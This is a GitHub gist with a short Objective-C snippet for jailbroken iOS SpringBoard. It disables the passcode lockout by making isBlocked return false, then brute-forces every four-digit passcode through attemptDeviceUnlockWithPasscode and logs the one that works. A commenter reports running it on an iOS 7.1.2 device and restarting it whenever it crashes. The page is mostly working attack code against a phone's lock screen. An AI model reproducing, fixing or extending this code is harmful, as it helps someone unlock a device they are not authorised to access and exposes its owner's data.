Created
March 23, 2015 16:19
-
-
Save b3ll/f1766a35f0d4d795560b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// June 11, 2012 | |
// https://twitter.com/b3ll/status/212169466665111552 | |
-(BOOL)isBlocked | |
{ | |
return false; | |
} | |
-(int)epicWWDCLineHacks | |
{ | |
for (int i = 0; i <= 9999; i++) | |
{ | |
NSString *passcode; | |
if (i < 1000){ | |
//too tired to write formatting code for 0 padding | |
} | |
else | |
{ | |
passcode = [NSString stringWithFormat:@"%d", i]; | |
} | |
if ([[SBAwayController sharedAwayController] attemptDeviceUnlockWithPasscode:passcode lockViewOwner:nil]) | |
{ | |
NSLog(@"%@", passcode); | |
break; | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Currently using this on an iOS 7.1.2 device:
SpringBoard is crashing after about 25-30 tries, so I'm manually restarting the script at the last failed passcode. There's probably a better way... maybe I could write the last failed code to a file and then load it, but then I'd likely want a theos tweak to make it run constantly.